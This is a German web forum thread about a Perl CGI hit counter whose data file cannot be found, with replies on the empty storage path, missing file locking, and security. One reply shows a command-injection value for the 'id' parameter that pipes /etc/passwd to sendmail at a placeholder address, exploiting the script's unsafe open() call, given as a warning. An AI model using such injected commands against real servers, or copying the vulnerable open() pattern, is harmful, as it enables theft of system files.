dey: Sag, wo sind die Dateien hin. Wo..

Servus

Ich muss zugeben ich habe von PERL keine Ahnung. Ich habe mich aber soweit durch ein vorhandenes script gearbeitet, dass ich glaube es im Grossen und Ganzen zu verstehen. Aber an einer Stelle hängt es:

  • wenn ich einen Counter habe brauche ich ja wohl eine schreibbare Datei
  • diese sollte ja wohl mit jedem neuen count das aktuelle Datum bekommen
  • ich finde sie nicht

Übergabestring aus html/js= src="/cgi-bin/pscounter.cgi?id=PageID&zero=5&display=graphic"

Pfaddeklaration im cgi=

Set this to the directory to store data.

This directory must have write access.

Use "." for cgi-bin directory

$DDIR = "";

Datei öffnen im cgi=
print "Content-Type: application/x-javascript\n\n";
$file = "$DDIR/$FORM{'id'}.cnt";
if(! -e $file) {
  $count = 0;
} else {
  open(CNT, "$file") || die "count not read $file";
  $count = <CNT>;
  chomp($count);
  close(CNT);

Ich vermutete eine pageid.cnt oder zumindest eine *.cnt im selben Verzeichnis wie meine cgi-Datei, Pustekuchen.

bydey

  1. Hi

    $file = "$DDIR/$FORM{'id'}.cnt";

    »

    $DDIR leet ist dann steht sie in
    /$FORM{'id'}.cnt
    Also schau mal nach *.cnt in /.

    MfG
    alligator

  2. Hi,

    $DDIR = "";
    $file = "$DDIR/$FORM{'id'}.cnt";

    $file setzt sich also aus $DDIR, einem /, dem Inhalt der Variable $FORM('id') sowie der Endung .cnt zusammen.

    $DDIR ist leer.
    Der Dateipfad beginnt also mit / - also im Root des (Unix-)Dateisystems.
    In welchem Verzeichnis sie tatsächlich liegt, hängt von $FORM('id') ab - wenn darin keine / vorkommen, ist die Datei direkt in Root.

    Ich vermutete eine pageid.cnt oder zumindest eine *.cnt im selben Verzeichnis wie meine cgi-Datei, Pustekuchen.

    Warum vermutest Du sie dort?

    cu,
    Andreas

    --
    Der Optimist: Das Glas  ist halbvoll.  - Der Pessimist: Das Glas ist halbleer. - Der Ingenieur: Das Glas ist doppelt so groß wie nötig.
    http://mud-guard.de/? http://www.andreas-waechter.de/ http://www.helpers.de/
    1. Servus Andreas

      In welchem Verzeichnis sie tatsächlich liegt, hängt von $FORM('id') ab - wenn darin keine / vorkommen, ist die Datei direkt in Root.

      Ich vermutete eine pageid.cnt oder zumindest eine *.cnt im selben Verzeichnis wie meine cgi-Datei, Pustekuchen.

      Warum vermutest Du sie dort?

      Keine Ahnung. Ich habe eine leere $DDIR etwas anders/ falsch interpretiert.
      Da ich kein Zugriff auf das Root habe, denn mit *.cnt habe ich schon den ganzen Server abgesucht, wird es wohl das Beste sein ich setzte $DDIR auf einen realistischen Wert und erzeuge die Datei neu und setze danach den Counter nach belieben.?

      bydey

      1. Servus

        Keine Ahnung. Ich habe eine leere $DDIR etwas anders/ falsch interpretiert.
        Da ich kein Zugriff auf das Root habe, denn mit *.cnt habe ich schon den ganzen Server abgesucht, wird es wohl das Beste sein ich setzte $DDIR auf einen realistischen Wert und erzeuge die Datei neu und setze danach den Counter nach belieben.?

        Genauso ging es. Danke, Andreas.

        bydey

        1. Genauso ging es. Danke, Andreas.

          aber wie gesagt, dieser Counter wird nicht funktionieren.

          Struppi.

          1. Servus

            aber wie gesagt, dieser Counter wird nicht funktionieren.

            Der Rest vom Schützenfest enthält noch eine Cookie-Abfrage, die wohl Mehrfacheinträge verhindern, es aber nicht tut.
            Ein Problem, um das ich mich später kümmere und das ich woanders unter ASP schon erfolgreich umgangen habe.

            bydey

            1. Der Rest vom Schützenfest enthält noch eine Cookie-Abfrage, die wohl Mehrfacheinträge verhindern, es aber nicht tut.

              Das ist nicht das Problem. Du hast schonmal was von flock gehört?
              ohne wird dein Zähler immer wieder falsch zählen.

              Struppi.

              1. Servus

                Der Rest vom Schützenfest enthält noch eine Cookie-Abfrage, die wohl Mehrfacheinträge verhindern, es aber nicht tut.

                Das ist nicht das Problem. Du hast schonmal was von flock gehört?
                ohne wird dein Zähler immer wieder falsch zählen.

                Nein, aber gib mir doch mal den link zu perlfaq

                bydey

                1. Hi,

                  Nein, aber gib mir doch mal den link zu perlfaq

                  Da kann ich nur sagen: "perldoc perldoc".

                  Grüße Andres Freund

                  PS: Wir wollen ja mal nicht so sein. Schau bei "perldoc -f flock" nach.

                  --
                  ss:) zu:) ls:} fo:) de:] va:) ch:| n4:& rl:° br:^ js:( ie:% fl:( mo:|
                  1. Servus

                    Nein, aber gib mir doch mal den link zu perlfaq
                    Da kann ich nur sagen: "perldoc perldoc".

                    Grüße Andres Freund

                    PS: Wir wollen ja mal nicht so sein. Schau bei "perldoc -f flock" nach.

                    Danke, dass ihr es so kompliziert macht. Dennoch habe ich die Bedeutung von flock gefunden.
                    Da ich im Monat mit ca 200-1000 Zugriffen rechne wird es bei mir keine derartigen Probleme geben.
                    Es geht nicht exakte Zahlen sondern eher um Tendenz: waren es 10 oder 100 oder 1000 im Monat.
                    Es ist ohne flock nicht perfekt, aber für meine Zwecke ausreichend.

                    bydey

                    1. Es geht nicht exakte Zahlen sondern eher um Tendenz: waren es 10 oder 100 oder 1000 im Monat.
                      Es ist ohne flock nicht perfekt, aber für meine Zwecke ausreichend.

                      Wen der Zähler immer mal wieder auf null gesetzt wird ist ausreichend?
                      warum holst dir nicht einfach einen kostenlosen?

                      Struppi.

                      1. Servus

                        Wen der Zähler immer mal wieder auf null gesetzt wird ist ausreichend?

                        Das ist natürlich überzeugend.

                        warum holst dir nicht einfach einen kostenlosen?

                        Ist eine Firmenhomepage und ich möchte keine Fremdprodukte einbinden.
                        Werde also über flock nachdenken. Aber eins nach dem anderen. Danke

                        bydey

  3. Pfaddeklaration im cgi=

    Set this to the directory to store data.

    This directory must have write access.

    Use "." for cgi-bin directory

    $DDIR = "";

    Datei öffnen im cgi=
    print "Content-Type: application/x-javascript\n\n";
    $file = "$DDIR/$FORM{'id'}.cnt";
    if(! -e $file) {
      $count = 0;
    } else {
      open(CNT, "$file") || die "count not read $file";
      $count = <CNT>;
      chomp($count);
      close(CNT);

    Ich vermutete eine pageid.cnt oder zumindest eine *.cnt im selben Verzeichnis wie meine cgi-Datei, Pustekuchen.

    wenn du keine Datei anlegst ist auch keine da.

    Wenn das ein counter werden soll,kannst du auch genauso gut Zufallszahlen ausgeben. Ohne flock Mechanismus taugt sowas gar nicht, steht aber auch in der Perlfaq.

    Struppi.

  4. Ich muss zugeben ich habe von PERL keine Ahnung.

    Das ist keine gute Voraussetzung, um sicherhetskritische Probleme zu lösen. Du gefährdest nämlich deinen Webserver.

    Pfaddeklaration im cgi=

    Set this to the directory to store data.

    This directory must have write access.

    Use "." for cgi-bin directory

    $DDIR = "";

    Datei öffnen im cgi=
    print "Content-Type: application/x-javascript\n\n";
    $file = "$DDIR/$FORM{'id'}.cnt";

    ^^^^^^^^^^^

    Woher kommt %FORM? Das sieht wieder nach so einem grottenschlechten handgestrickten Formparser aus. Ich kann dir jetzt schon sagen, dass dieses Programm große Sch**** ist.

    if(! -e $file) {
      $count = 0;
    } else {
      open(CNT, "$file") || die "count not read $file";

    Weißt du, was passiert, wenn ich dir als 'id' folgendes übergebe?

    dummy; cat /etc/passwd | sendmail somewhere@somepla.ce ; echo

    Dann wird in $file folgendes stehen:

    /dummy; cat /etc/passwd | sendmail somewhere@somepla.ce; echo .cnt

    und rate mal, was bei open() passiert?
    Richtig, deine /etc/passwd wird schlimmstenfalls an jemanden per email verschickt.

    Besorg dir ein ordentliches Programm! Dieser Mist gehört in die Datensenke.

    1. Servus

      Ich muss zugeben ich habe von PERL keine Ahnung.

      Das ist keine gute Voraussetzung, um sicherhetskritische Probleme zu lösen. Du gefährdest nämlich deinen Webserver.

      Da hast du wohl recht. Die Datei ist ja auch nicht von mir.

      und rate mal, was bei open() passiert?
      Richtig, deine /etc/passwd wird schlimmstenfalls an jemanden per email verschickt.

      »»

      Habe ich gerade getestet mit meiner email, da kommt aber nichts zurück.

      Besorg dir ein ordentliches Programm! Dieser Mist gehört in die Datensenke.

      Sollte wohl sicherer sein, wenn ich die var $file fix auf einen Namen einstelle.

      bydey